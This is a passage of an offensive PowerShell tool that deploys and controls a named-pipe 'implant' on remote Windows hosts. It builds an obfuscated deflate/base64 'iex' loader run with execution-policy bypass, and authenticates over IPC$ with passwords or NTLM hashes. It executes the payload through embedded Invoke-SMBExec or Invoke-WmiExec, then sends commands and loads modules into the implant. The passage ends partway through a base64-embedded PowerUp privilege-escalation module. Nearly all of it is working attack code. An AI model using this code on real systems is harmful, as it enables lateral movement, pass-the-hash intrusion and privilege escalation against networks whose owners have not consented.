YW4gemVybyBtZWFucyBzb21ldGhpbmcgd2VudCB3cm9uZy4NCiAgICAgICAgICAgIHB1YmxpYyBlbnVtIE5UU3RhdHVzIDogdWludA0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIFNUQVRVU19TVUNDRVNTID0gMHgwMDAwMDAwMA0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQonQA0KfQ0KIA0KICAgICAgICBbQnl0ZVtdXSRIYXNoQnl0ZXMgICA9IE5ldy1PYmplY3QgQnl0ZVtdIDE2DQogICAgICAgIFtJbnRQdHJdJFBIQWxnb3JpdGhtID0gW0ludFB0cl06Olplcm8NCiAgICAgICAgW0ludFB0cl0kUEhIYXNoICAgICAgPSBbSW50UHRyXTo6WmVybw0KICAgICAgICAkTlRTdGF0dXMgPSBbZHNhZmRzYWZkc2FmZHNdOjpCQ3J5cHRPcGVuQWxnb3JpdGhtUHJvdmlkZXIoW1JlZl0gJFBIQWxnb3JpdGhtLCAnTUQ0JywgJE51bGwsIDApDQogICAgICAgIElmICgkTlRTdGF0dXMgLU5FIDApDQogICAgICAgIHsNCiAgICAgICAgICAgIFdyaXRlLUVycm9yICJCQ3J5cHRPcGVuQWxnb3JpdGhtUHJvdmlkZXIgZmFpbGVkIHdpdGggTlRTVEFUVVMgJE5UU3RhdHVzIg0KICAgICAgICAgICAgSWYgKCRQSEFsZ29yaXRobSAtTkUgW0ludFB0cl06Olplcm8pDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJE5UU3RhdHVzID0gW2RzYWZkc2FmZHNhZmRzXTo6QkNyeXB0Q2xvc2VBbGdvcml0aG1Qcm92aWRlcigkUEhBbGdvcml0aG0sIDApDQogICAgICAgICAgICB9DQogICAgICAgICAgICBSZXR1cm4NCiAgICAgICAgfQ0KICAgICAgICAkTlRTdGF0dXMgPSBbZHNhZmRzYWZkc2FmZHNdOjpCQ3J5cHRDcmVhdGVIYXNoKCRQSEFsZ29yaXRobSwgW1JlZl0gJFBISGFzaCwgW0ludFB0cl06Olplcm8sIDAsIFtJbnRQdHJdOjpaZXJvLCAwLCAwKQ0KICAgICAgICBJZiAoJE5UU3RhdHVzIC1ORSAwKQ0KICAgICAgICB7DQogICAgICAgICAgICBXcml0ZS1FcnJvciAiQkNyeXB0Q3JlYXRlSGFzaCBmYWlsZWQgd2l0aCBOVFNUQVRVUyAkTlRTdGF0dXMiDQogICAgICAgICAgICBJZiAoJFBISGFzaCAtTkUgW0ludFB0cl06Olplcm8pDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJE5UU3RhdHVzID0gW2RzYWZkc2FmZHNhZmRzXTo6QkNyeXB0RGVzdHJveUhhc2goJFBISGFzaCkgICAgICAgICAgICAgICANCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIElmICgkUEhBbGdvcml0aG0gLU5FIFtJbnRQdHJdOjpaZXJvKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICROVFN0YXR1cyA9IFtkc2FmZHNhZmRzYWZkc106OkJDcnlwdENsb3NlQWxnb3JpdGhtUHJvdmlkZXIoJFBIQWxnb3JpdGhtLCAwKQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgUmV0dXJuDQogICAgICAgIH0NCiANCiAgICAgICAgJE5UU3RhdHVzID0gW2RzYWZkc2FmZHNhZmRzXTo6QkNyeXB0SGFzaERhdGEoJFBISGFzaCwgJERhdGFUb0hhc2gsICREYXRhVG9IYXNoLkxlbmd0aCwgMCkNCiAgICAgICAgJE5UU3RhdHVzID0gW2RzYWZkc2FmZHNhZmRzXTo6QkNyeXB0RmluaXNoSGFzaCgkUEhIYXNoLCAkSGFzaEJ5dGVzLCAkSGFzaEJ5dGVzLkxlbmd0aCwgMCkNCiANCiAgICAgICAgSWYgKCRQSEhhc2ggLU5FIFtJbnRQdHJdOjpaZXJvKQ0KICAgICAgICB7DQogICAgICAgICAgICAkTlRTdGF0dXMgPSBbZHNhZmRzYWZkc2FmZHNdOjpCQ3J5cHREZXN0cm95SGFzaCgkUEhIYXNoKQ0KICAgICAgICB9DQogICAgICAgIElmICgkUEhBbGdvcml0aG0gLU5FIFtJbnRQdHJdOjpaZXJvKQ0KICAgICAgICB7DQogICAgICAgICAgICAkTlRTdGF0dXMgPSBbZHNhZmRzYWZkc2FmZHNdOjpCQ3J5cHRDbG9zZUFsZ29yaXRobVByb3ZpZGVyKCRQSEFsZ29yaXRobSwgMCkNCiAgICAgICAgfQ0KICAgICAgICAgDQogICAgICAgICRIYXNoU3RyaW5nID0gTmV3LU9iamVjdCBTeXN0ZW0uVGV4dC5TdHJpbmdCdWlsZGVyDQogICAgICAgIEZvcmVhY2ggKCRCeXRlIEluICRIYXNoQnl0ZXMpDQogICAgICAgIHsNCiAgICAgICAgICAgIFtWb2lkXSRIYXNoU3RyaW5nLkFwcGVuZCgkQnl0ZS5Ub1N0cmluZygiWDIiKSkNCiAgICAgICAgfQ0KICAgICAgICBSZXR1cm4gJEhhc2hTdHJpbmcuVG9TdHJpbmcoKQ0KICAgIH0NCn0NCg=="
# Convert server scriptblock to base64 with compression
$ScriptBytes = ([Text.Encoding]::ASCII).GetBytes($s_scriptblock)
$CompressedStream = New-Object IO.MemoryStream
$DeflateStream = New-Object IO.Compression.DeflateStream ($CompressedStream, [IO.Compression.CompressionMode]::Compress)
$DeflateStream.Write($ScriptBytes, 0, $ScriptBytes.Length)
$DeflateStream.Dispose()
$CompressedScriptBytes = $CompressedStream.ToArray()
$CompressedStream.Dispose()
$EncodedCompressedScript = [Convert]::ToBase64String($CompressedScriptBytes)
$NewScript = 'sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(' + "'$EncodedCompressedScript'" + '),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()'
$payload = "cmd /c powershell -exec bypass -c `"`"$NewScript`"`""
if ($hash.ispresent){
if ($domain -eq ".") {
$net = new-object -ComObject WScript.Network
$net.MapNetworkDrive("", "\\$target\ipc$", $false, "$target\$user2", "$Password2")
} else {
$net = new-object -ComObject WScript.Network
$net.MapNetworkDrive("", "\\$target\ipc$", $false, "$domain2\$user2", "$Password2")
}
}
else {
if ($domain -eq ".") {
$net = new-object -ComObject WScript.Network
$net.MapNetworkDrive("", "\\$target\ipc$", $false, "$target\$user", "$Password")
} else {
$net = new-object -ComObject WScript.Network
$net.MapNetworkDrive("", "\\$target\ipc$", $false, "$domain\$user", "$Password")
}
}
# if psexec
if ($PSexec.IsPresent) {
$smbexecw = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($smbexec))
IEX $smbexecw
echo "`n[+] Running Invoke-SMBExec with the supplied credentials"
if ($hash){
$smbcmd = "Invoke-SMBExec -Target `"$target`" -Domain `"$domain`" -Username `"$user`" -Hash `"$hash`" -Command `"$payload`""
} else {
$smbcmd = "Invoke-SMBExec -Target `"$target`" -Domain `"$domain`" -Username `"$user`" -Password `"$password`" -Command `"$payload`""
}
$success = IEX $smbcmd
$success
} else {
$wmiexecw = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($wmiexec))
IEX $wmiexecw
echo "`n[+] Running Invoke-WMIExec with the supplied credentials"
if ($password){
$wmicmd = "Invoke-WmiExec -Target `"$target`" -Domain `"$domain`" -Username `"$user`" -Password `"$password`" -Command `"$payload`""
} else {
$wmicmd = "Invoke-WmiExec -Target `"$target`" -Domain `"$domain`" -Username `"$user`" -Hash `"$hash`" -Command `"$payload`""
}
$success = IEX $wmicmd
$success
}
$PIPE_runspace = [RunspaceFactory]::CreateRunspace()
$PIPE_runspace.Open()
$PIPE_runspace.SessionStateProxy.SetVariable('pipestate',$pipestate)
$PIPE_powershell = [PowerShell]::Create()
$PIPE_powershell.Runspace = $PIPE_runspace
$PIPE_powershell.AddScript($c_scriptblock) > $null
$PIPE_powershell.BeginInvoke() > $null
echo ""
$endtime = (Get-Date).AddMilliseconds($timeout)
while ((Get-Date) -lt $endtime){
if ($pipestate.state -eq $true)
{ break }
#echo $pipestate.state
}
if ($pipestate.state -eq $True){
echo "Connected: $target - $pname"
echo ""
}
elseif ((get-date) -lt $endtime){
echo "Not Connected: Timeout occured"
}
else {
echo "Not Connected: :-("
}
}
}
function Pbind-Command ($command){
<#
.SYNOPSIS
Used to interact with the implant and send basic commands.
.EXAMPLE
PS C:\> Pbind-Command ipconfig
.DESCRIPTION
Runs ipconfig on the target endpoint and returns the output. See pbind scripts to execute more advanced powershell.
#>
if ($pipestate.state -eq $true){
$script:pipestate.log = $null
echo ""
echo "[+] Sending command: $command"
echo ""
$script:pipestate.command = $command
while ($pipestate.log -eq $null){}
$output = $pipestate.log -replace '123456(.+?)654321', ''
$output
}
else {
echo "Not Connected: Command Not Sent"
}
}
function Pbind-module ($command){
<#
.SYNOPSIS
Used to upload modules to the implant.
.EXAMPLE
PS C:\> Pbind-module "c:\modules folder\powerview.ps1"
.DESCRIPTION
Reads in a ps1 file into the implant, will execute if auto run configured.
Use pbind-module to run functions loaded in memory (this is all done local to where the implant is run and does not work well with a C2 - see command scripts for better use case in a C2.
#>
if ($pipestate.state -eq $true){
$pipestate.log = $null
echo ""
echo "[+] Loading Module $command"
echo ""
$mod = "$command"
#echo "collecting module $command"
$content = [IO.File]::ReadAllText($mod)
$script:pipestate.command = $content
while ($pipestate.log -eq $null){}
$output = $pipestate.log -replace '123456(.+?)654321', ''
$output}
else {
echo "Not Connected: Command Not Sent"
}
}
function Pbind-Kill ($command){
<#
.SYNOPSIS
Used to kill the implant on the target.
.EXAMPLE
PS C:\> Pbind-Kill
.DESCRIPTION
Destroys Pipe on target
#>
if ($pipestate.state -eq $true){
echo ""
"[-] Killing pipe"
$script:pipestate.state = $false
$script:pipestate.command = "KILLPIPE"
echo ""
}
else {
echo "Not Connected: Command Not Send"
}
}
function Pbind-squirt ($command){
<#
.SYNOPSIS
Used to squirt modules into memory, only works with pre-configured modules such as powerup (already bundled)
.EXAMPLE
PS C:\> Pbind-squirt powerup
.DESCRIPTION
Loads base64'd modules into the implant, will execute if auto run configured. Use pbind-command to run functions loaded in memory.
#>
$powerup = "PCMKICAgIFBvd2VyVXAgYWltcyB0byBiZSBhIGNsZWFyaW5naG91c2Ugb2YgY29tbW9uIFdpbmRvd3MgcHJpdmlsZWdlIGVzY2FsYXRpb24KICAgIHZlY3RvcnMgdGhhdCByZWx5IG9uIG1pc2NvbmZpZ3VyYXRpb25zLiBTZWUgUkVBRE1FLm1kIGZvciBtb3JlIGluZm9ybWF0aW9uLgoKICAgIEF1dGhvcjogQGhhcm1qMHkKICAgIExpY2Vuc2U6IEJTRCAzLUNsYXVzZQogICAgUmVxdWlyZWQgRGVwZW5kZW5jaWVzOiBOb25lCiAgICBPcHRpb25hbCBEZXBlbmRlbmNpZXM6IE5vbmUKIz4KCgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwojCiMgSGVscGVycwojCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCgpmdW5jdGlvbiBHZXQtTW9kaWZpYWJsZUZpbGUgewo8IwogICAgLlNZTk9QU0lTCgogICAgICAgIEhlbHBlciB0byByZXR1cm4gYW55IG1vZGlmaWFibGUgZmlsZSB0aGF0J3MgYSBwYXJ0IG9mIGEgcGFzc2VkIHN0cmluZy4KICAgICAgICAKICAgIC5FWEFNUExFCgogICAgICAgIFBTIEM6XD4gJyJDOlxUZW1wXGJsYWguYmF0IiAtZiAiQzpcVGVtcFxjb25maWcuaW5pIicgfCBHZXQtTW9kaWZpYWJsZUZpbGUKCiAgICAgICAgUmV0dXJuIHRoZSBwYXRocyAiQzpcVGVtcFxibGFoLmJhdCIgb3IgIkM6XFRlbXBcY29uZmlnLmluaSIgaWYgdGhleSBhcmUKICAgICAgICBtb2RpZmFibGUgYnkgdGhlIGN1cnJlbnQgdXNlciBjb250ZXh0LgojPgoKICAgIFtDbWRsZXRCaW5kaW5nKCldCiAgICBQYXJhbSgKICAgICAgICBbUGFyYW1ldGVyKFZhbHVlRnJvbVBpcGVsaW5lPSRUcnVlLCBNYW5kYXRvcnkgPSAkVHJ1ZSldCiAgICAgICAgW1N0cmluZ10KICAgICAgICAkUGF0aAogICAgKQoKICAgIGJlZ2luIHsKICAgICAgICAjIGZhbHNlIHBvc2l0aXZlcwogICAgICAgICRFeGNsdWRlcyA9IEAoIk1zTXBFbmcuZXhlIiwgIk5pc1Nydi5leGUiKQoKICAgICAgICAkT3JpZ0Vycm9yID0gJEVycm9yQWN0aW9uUHJlZmVyZW5jZQogICAgICAgICRFcnJvckFjdGlvblByZWZlcmVuY2UgPSAiU2lsZW50bHlDb250aW51ZSIKICAgIH0KCiAgICBwcm9jZXNzIHsKICAgICAgICAkQ2FuZGlkYXRlRmlsZXMgPSBAKCkKCiAgICAgICAgIyB0ZXN0IGZvciBxdW90ZS1lbmNsb3NlZCBhcmdzIGZpcnN0LCByZXR1cm5pbmcgZmlsZXMgdGhhdCBleGlzdCBvbiB0aGUgc3lzdGVtCiAgICAgICAgJENhbmRpZGF0ZUZpbGVzICs9ICRQYXRoLnNwbGl0KCJgIiciKSB8IFdoZXJlLU9iamVjdCB7ICRfIC1hbmQgKFRlc3QtUGF0aCAkXykgfQoKICAgICAgICAjIG5vdyBjaGVjayBmb3Igc3BhY2Utc2VwYXJhdGVkIGFyZ3MsIHJldHVybmluZyBmaWxlcyB0aGF0IGV4aXN0IG9uIHRoZSBzeXN0ZW0KICAgICAgICAkQ2FuZGlkYXRlRmlsZXMgKz0gJFBhdGguc3BsaXQoKSB8IFdoZXJlLU9iamVjdCB7ICRfIC1hbmQgKFRlc3QtUGF0aCAkXykgfQogICAgICAgIAogICAgICAgICMgc2VlIGlmIHdlIG5lZWQgdG8gc2tpcCBhbnkgZXhjbHVkZXMKICAgICAgICAkQ2FuZGlkYXRlRmlsZXMgfCBTb3J0LU9iamVjdCAtVW5pcXVlIHwgV2hlcmUtT2JqZWN0IHskX30gfCBXaGVyZS1PYmplY3QgewogICAgICAgICAgICAkU2tpcCA9ICRGYWxzZQogICAgICAgICAgICBGb3JFYWNoKCRFeGNsdWRlIGluICRFeGNsdWRlcykgewogICAgICAgICAgICAgICAgaWYoJF8gLW1hdGNoICRFeGNsdWRlKSB7ICRTa2lwID0gJFRydWUgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmKCEkU2tpcCkgeyRUcnVlfQogICAgICAgIH0gfCBGb3JFYWNoLU9iamVjdCB7CgogICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgIyBleHBhbmQgYW55ICVWQVJTJQogICAgICAgICAgICAgICAgJEZpbGVQYXRoID0gW1N5c3RlbS5FbnZpcm9ubWVudF06OkV4cGFuZEVudmlyb25tZW50VmFyaWFibGVzKCRfKQogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAjIHRyeSB0byBvcGVuIHRoZSBmaWxlIGZvciB3cml0aW5nLCBpbW1lZGlhdGVseSBjbG9zaW5nIGl0CiAgICAgICAgICAgICAgICAkRmlsZSA9IEdldC1JdGVtIC1QYXRoICRGaWxlUGF0aCAtRm9yY2UKICAgICAgICAgICAgICAgICRTdHJlYW0gPSAkRmlsZS5PcGVuV3JpdGUoKQogICAgICAgICAgICAgICAgJE51bGwgPSAkU3RyZWFtLkNsb3NlKCkKICAgICAgICAgICAgICAgICRGaWxlUGF0aAogICAgICAgICAgICB9CiAgICAgICAgICAgIGNhdGNoIHt9CiAgICAgICAgfQogICAgfQoKICAgIGVuZCB7CiAgICAgICAgJEVycm9yQWN0aW9uUHJlZmVyZW5jZSA9ICRPcmlnRXJyb3IKICAgIH0KfQoKZnVuY3Rpb24gVGVzdC1TZXJ2aWNlRGFjbFBlcm1pc3Npb24gewo8IwogICAgLlNZTk9QU0lTCgogICAgICAgIFRoaXMgZnVuY3Rpb24gY2hlY2tzIGlmIHRoZSBjdXJyZW50IHVzZXIgaGFzIHNwZWNpZmljIERBQ0wgcGVybWlzc2lvbnMgCiAgICAgICAgZm9yIGEgc3BlY2lmaWMgc2VydmljZSB3aXRoIHRoZSBhaWQgb2YgJ3NjLmV4ZSBzZHNob3cnLgoKICAgIC5QQVJBTUVURVIgU2VydmljZU5hbWUKCiAgICAgICAgVGhlIHNlcnZpY2UgbmFtZSB0byB2ZXJpZnkgdGhlIHBlcm1pc3Npb25zIGFnYWluc3QuIFJlcXVpcmVkLgoKICAgIC5QQVJBTUVURVIgRGFjbAoKICAgICAgICBUaGUgREFDTCBwZXJtaXNzaW9ucy4gUmVxdWlyZWQuCiAgCiAgICAuRVhBTVBMRQoKICAgICAgICBQUyBDOlw+IFRlc3QtU2VydmljZURhY2xQZXJtaXNzaW9uIC1TZXJ2aWNlTmFtZSBWdWxuU1ZDIC1EYWNsIFdQUlBEQwoKICAgICAgICBSZXR1cm4gJFRydWUgaWYgdGhlIGN1cnJlbnQgdXNlciBoYXMgU3RvcCAoV1ApLCBTdGFydCAoUlApLAogICAgICAgIGFuZCBDaGFuZ2VDb25mIChEQykgc2VydmljZSBwZXJtaXNzaW9ucyBmb3IgJ1Z1bG5TVkMnIG90aGVyd2lzZSByZXR1cm4gJEZhbHNlLgoKICAgIC5MSU5LCgogICAgICAgIGh0dHBzOi8vc3VwcG9ydC5taWNyb3NvZnQuY29tL2VuLXVzL2tiLzkxNDM5MgogICAgICAgIGh0dHBzOi8vcm9obnNwb3dlcnNoZWxsYmxvZy53b3JkcHJlc3MuY29tLzIwMTMvMDMvMTkvdmlld2luZy1zZXJ2aWNlLWFjbHMvCiM+CgogICAgW0NtZGxldEJpbmRpbmcoKV0KICAgIFBhcmFtKAogICAgICAgIFtQYXJhbWV0ZXIoTWFuZGF0b3J5ID0gJFRydWUpXQogICAgICAgIFtzdHJpbmddCiAgICAgICAgJFNlcnZpY2VOYW1lLAoKICAgICAgICBbUGFyYW1ldGVyKE1hbmRhdG9yeSA9ICRUcnVlKV0KICAgICAgICBbc3RyaW5nXQogICAgICAgICREYWNsCiAgICApCgogICAgIyBjaGVjayBpZiBzYy5leGUgZXhpc3RzCiAgICBpZiAoLW5vdCAoVGVzdC1QYXRoICgiJGVudjpTeXN0ZW1Sb290XHN5c3RlbTMyXHNjLmV4ZSIpKSl7IAogICAgICAgIFdyaXRlLVdhcm5pbmcgIlshXSBDb3VsZCBub3QgZmluZCAkZW52OlN5c3RlbVJvb3Rcc3lzdGVtMzJcc2MuZXhlIgogICAgICAgIHJldHVybiAkRmFsc2UKICAgIH0KCiAgICAkU2VydmljZUFjY2Vzc0ZsYWdzID0gQHsKICAgICAgICAgIENDID0gMQogICAgICAgICAgREMgPSAyCiAgICAgICAgICBMQyA9IDQKICAgICAgICAgIFNXID0gOAogICAgICAgICAgUlAgPSAxNgogICAgICAgICAgV1AgPSAzMgogICAgICAgICAgRFQgPSA2NAogICAgICAgICAgTE8gPSAxMjgKICAgICAgICAgIENSID0gMjU2CiAgICAgICAgICBTRCA9IDY1NTM2CiAgICAgICAgICBSQyA9IDEzMTA3MgogICAgICAgICAgV0QgPSAyNjIxNDQKICAgICAgICAgIFdPID0gNTI0Mjg4CiAgICAgICAgICBHQSA9IDI2ODQzNTQ1NgogICAgICAgICAgR1ggPSA1MzY4NzA5MTIKICAgICAgICAgIEdXID0gMTA3Mzc0MTgyNAogICAgICAgICAgR1IgPSAyMTQ3NDgzNjQ4CiAgICB9CgogICAgIyBxdWVyeSBXTUkgZm9yIHRoZSBzZXJ2aWNlCiAgICAkVGFyZ2V0U2VydmljZSA9IEdldC1XbWlPYmplY3QgLUNsYXNzIHdpbjMyX3NlcnZpY2UgLUZpbHRlciAiTmFtZT0nJFNlcnZpY2VOYW1lJyIgfCBXaGVyZS1PYmplY3QgeyRffQogICAgCiAgICAjIG1ha2Ugc3VyZSB3ZSBnb3QgYSByZXN1bHQgYmFjawogICAgaWYgKC1ub3QgKCRUYXJnZXRTZXJ2aWNlKSl7CiAgICAgICAgV3JpdGUtV2FybmluZyAiWyFdIFRhcmdldCBzZXJ2aWNlICckU2VydmljZU5hbWUnIG5vdCBmb3VuZCBvbiB0aGUgbWFjaGluZSIKICAgICAgICByZXR1cm4gJEZhbHNlCiAgICB9CgogICAgdHJ5IHsKICAgICAgICAjIHJldHJpZXZlIERBQ0wgZnJvbSBzYy5leGUKICAgICAgICAkUmVzdWx0ID0gc2MuZXhlIHNkc2hvdyAkVGFyZ2V0U2VydmljZS5OYW1lIHwgd2hlcmUgeyRffQoKICAgICAgICBpZiAoJFJlc3VsdCAtbGlrZSAiKk9wZW5TZXJ2aWNlIEZBSUxFRCoiKXsKICAgICAgICAgICAgICAgIFdyaXRlLVdhcm5pbmcgIlshXSBBY2Nlc3MgdG8gc2VydmljZSAkKCRUYXJnZXRTZXJ2aWNlLk5hbWUpIGRlbmllZCIKICAgICAgICAgICAgICAgIHJldHVybiAkRmFsc2UKICAgICAgICB9CgogICAgICAgICRTZWN1cml0eURlc2NyaXB0b3JzID0gTmV3LU9iamVjdCBTeXN0ZW0uU2VjdXJpdHkuQWNjZXNzQ29udHJvbC5SYXdTZWN1cml0eURlc2NyaXB0b3IoJFJlc3VsdCkKCiAgICAgICAgIyBwb3B1bGF0ZSBhIGxpc3Qgb2YgZ3JvdXAgU0lEcyB0aGF0IHRoZSBjdXJyZW50IHVzZXIgaXMgYSBtZW1iZXIgb2YKICAgICAgICAkU2lkcyA9IHdob2FtaSAvZ3JvdXBzIC9GTyBjc3YgfCBDb252ZXJ0RnJvbS1Dc3YgfCBzZWxlY3QgIlNJRCIgfCBGb3JFYWNoLU9iamVjdCB7JF8uU2lkfQoKICAgICAgICAjIGFkZCB0byB0aGUgbGlzdCB0aGUgU0lEIG9mIHRoZSBjdXJyZW50IHVzZXIKICAgICAgICAkU2lkcyArPSBbU3lzdGVtLlNlY3VyaXR5LlByaW5jaXBhbC5XaW5kb3dzSWRlbnRpdHldOjpHZXRDdXJyZW50KCkuVXNlci52YWx1ZQoKICAgICAgICBGb3JFYWNoICgkU2lkIGluICRTaWRzKXsKICAgICAgICAgICAgRm9yRWFjaCAoJEFjZSBpbiAkU2VjdXJpdHlEZXNjcmlwdG9ycy5EaXNjcmV0aW9uYXJ5QWNsKXsgICAKICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAjIGNoZWNrIGlmIHRoZSBncm91cC91c2VyIFNJRCBpcyBpbmNsdWRlZCBpbiB0aGUgQUNFIAogICAgICAgICAgICAgICAgaWYgKCRTaWQgLWVxICRBY2UuU2VjdXJpdHlJZGVudGlmaWVyKXsKICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAjIGNvbnZlcnQgdGhlIEFjY2Vzc01hc2sgdG8gYSBzZXJ2aWNlIERBQ0wgc3RyaW5nCiAgICAgICAgICAgICAgICAgICAgJERhY2xTdHJpbmcgPSAkKCRTZXJ2aWNlQWNjZXNzRmxhZ3MuS2V5cyB8IEZvcmVhY2gtT2JqZWN0IHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCgkU2VydmljZUFjY2Vzc0ZsYWdzWyRfXSAtYmFuZCAkQWNlLkFjY2Vzc01hc2spIC1lcSAkU2VydmljZUFjY2Vzc0ZsYWdzWyRfXSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJF8KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0pIC1qb2luICIiCiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAjIGNvbnZlcnQgdGhlIGlucHV0IERBQ0wgdG8gYW4gYXJyYXkKICAgICAgICAgICAgICAgICAgICAkRGFjbEFycmF5ID0gW2FycmF5XSAoJERhY2wgLXNwbGl0ICcoLnsyfSknIHwgV2hlcmUtT2JqZWN0IHskX30pCiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAjIGNvdW50ZXIgdG8gY2hlY2sgaG93IG1hbnkgREFDTCBwZXJtaXNzaW9ucyB3ZXJlIGZvdW5kCiAgICAgICAgICAgICAgICAgICAgJE1hdGNoZWRQZXJtaXNzaW9ucyA9IDAKICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICMgY2hlY2sgaWYgZWFjaCBvZiB0aGUgcGVybWlzc2lvbnMgZXhpc3RzCiAgICAgICAgICAgICAgICAgICAgRm9yRWFjaCAoJERhY2xQZXJtaXNzaW9uIGluICREYWNsQXJyYXkpewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJERhY2xTdHJpbmcuQ29udGFpbnMoJERhY2xQZXJtaXNzaW9uLlRvVXBwZXIoKSkpewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJE1hdGNoZWRQZXJtaXNzaW9ucyArPSAxCiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZXsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrCiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgIyBmb3VuZCBhbGwgcGVybWlzc2lvbnMgLSBzdWNjZXNzCiAgICAgICAgICAgICAgICAgICAgaWYgKCRNYXRjaGVkUGVybWlzc2lvbnMgLWVxICREYWNsQXJyYXkuQ291bnQpewogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gJFRydWUKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9ICAKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gJEZhbHNlCiAgICB9CiAgICBjYXRjaHsKICAgICAgICBXcml0ZS1XYXJuaW5nICJFcnJvcjogJF8iCiAgICAgICAgcmV0dXJuICRGYWxzZQogICAgfQp9CgpmdW5jdGlvbiBJbnZva2UtU2VydmljZVN0YXJ0IHsKPCMKICAgIC5TWU5PUFNJUwoKICAgICAgICBTdGFydHMgYSBzcGVjaWZpZWQgc2VydmljZSwgZmlyc3QgZW5hYmxpbmcgdGhlIHNlcnZpY2UgaWYgaXQgd2FzIG1hcmtlZCBhcyBkaXNhYmxlZC4KCiAgICAuUEFSQU1FVEVSIFNlcnZpY2VOYW1lCgogICAgICAgIFRoZSBzZXJ2aWNlIG5hbWUgdG8gc3RhcnQuIFJlcXVpcmVkLgoKICAgIC5FWEFNUExFCgogICAgICAgIFBTIEM6XD4gSW52b2tlLVNlcnZpY2VTdGFydCAtU2VydmljZU5hbWUgVnVsblNWQwoKICAgICAgICBTdGFydCB0aGUgJ1Z1bG5TVkMnIHNlcnZpY2UuCiM+CgogICAgW0NtZGxldEJpbmRpbmcoKV0KICAgIFBhcmFtKAogICAgICAgIFtQYXJhbWV0ZXIoVmFsdWVGcm9tUGlwZWxpbmU9JFRydWUsIE1hbmRhdG9yeSA9ICRUcnVlKV0KICAgICAgICBbU3RyaW5nXQogICAgICAgICRTZXJ2aWNlTmFtZQogICAgKQoKICAgIHByb2Nlc3MgewogICAgICAgICMgcXVlcnkgV01JIGZvciB0aGUgc2VydmljZQogICAgICAgICRUYXJnZXRTZXJ2aWNlID0gR2V0LVdtaU9iamVjdCAtQ2xhc3Mgd2luMzJfc2VydmljZSAtRmlsdGVyICJOYW1lPSckU2VydmljZU5hbWUnIiB8IFdoZXJlLU9iamVjdCB7JF99CiAgICAgICAgCiAgICAgICAgIyBtYWtlIHN1cmUgd2UgZ290IGEgcmVzdWx0IGJhY2sKICAgICAgICBpZiAoLW5vdCAoJFRhcmdldFNlcnZpY2UpKXsKICAgICAgICAgICAgV3JpdGUtV2FybmluZyAiWyFdIFRhcmdldCBzZXJ2aWNlICckU2VydmljZU5hbWUnIG5vdCBmb3VuZCBvbiB0aGUgbWFjaGluZSIKICAgICAgICAgICAgcmV0dXJuICRGYWxzZQogICAgICAgIH0KICAgICAgICAgICAgCiAgICAgICAgdHJ5IHsKICAgICAgICAgICAgIyBlbmFibGUgdGhlIHNlcnZpY2UgaWYgaXQgd2FzIG1hcmtlZCBhcyBkaXNhYmxlZAogICAgICAgICAgICBpZiAoJFRhcmdldFNlcnZpY2UuU3RhcnRNb2RlIC1lcSAiRGlzYWJsZWQiKXsKICAgICAgICAgICAgICAgICRyID0gSW52b2tlLVNlcnZpY2VFbmFibGUgLVNlcnZpY2VOYW1lICIkKCRUYXJnZXRTZXJ2aWNlLk5hbWUpIgogICAgICAgICAgICAgICAgaWYgKC1ub3QgJHIpeyAKICAgICAgICAgICAgICAgICAgICByZXR1cm4gJEZhbHNlIAogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgogICAgICAgICAgICAjIHN0YXJ0IHRoZSBzZXJ2aWNlCiAgICAgICAgICAgIFdyaXRlLVZlcmJvc2UgIlN0YXJ0aW5nIHNlcnZpY2UgJyQoJFRhcmdldFNlcnZpY2UuTmFtZSknIgogICAgICAgICAgICAkTnVsbCA9IHNjLmV4ZSBzdGFydCAiJCgkVGFyZ2V0U2VydmljZS5OYW1lKSIKCiAgICAgICAgICAgIFN0YXJ0LVNsZWVwIC1zIC41CiAgICAgICAgICAgIHJldHVybiAkVHJ1ZQogICAgICAgIH0KICAgICAgICBjYXRjaHsKICAgICAgICAgICAgV3JpdGUtV2FybmluZyAiRXJyb3I6ICRfIgogICAgICAgICAgICByZXR1cm4gJEZhbHNlCiAgICAgICAgfQogICAgfQp9CgoKZnVuY3Rpb24gSW52b2tlLVNlcnZpY2VTdG9wIHsKPCMKICAgIC5TWU5PUFNJUwoKICAgICAgICBTdG9wcyBhIHNwZWNpZmllZCBzZX